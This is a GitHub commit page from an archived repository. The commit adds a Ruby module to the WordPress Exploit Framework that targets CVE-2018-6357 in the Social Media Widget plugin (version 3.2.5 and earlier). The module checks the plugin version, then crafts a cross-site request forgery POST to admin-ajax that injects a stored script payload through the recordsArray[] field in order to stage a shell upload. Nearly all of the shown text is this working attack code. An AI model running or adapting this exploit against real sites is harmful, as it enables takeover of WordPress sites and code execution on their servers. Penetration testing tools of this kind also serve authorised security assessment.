Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit d0f5817

Browse files
committed
Add Social Media Widget <= 3.2.5 CSRF stored XSS shell upload
1 parent 54118bf commit d0f5817

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::SocialMediaWidgetCsrfXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::StagedReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Social Media Widget <= 3.2.5 CSRF Stored XSS Shell Upload',
11+
author: [
12+
'Panagiotis Vagenas', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2018-6357'],
17+
['WPVDB', '9017'],
18+
['URL', 'http://lists.openwall.net/full-disclosure/2018/01/10/8']
19+
],
20+
date: 'Jan 11 2018'
21+
)
22+
end
23+
24+
def check
25+
check_plugin_version_from_changelog('acurax-social-media-widget', 'readme.txt', '3.2.6')
26+
end
27+
28+
def vulnerable_url
29+
wordpress_url_admin_ajax
30+
end
31+
32+
def initial_script
33+
create_basic_post_script(
34+
vulnerable_url,
35+
'recordsArray[]' => "1'><script>#{xss_ascii_encoded_include_script}<\\/script>",
36+
'action' => 'acx_asmw_saveorder'
37+
)
38+
end
39+
end

0 commit comments

Comments
 (0)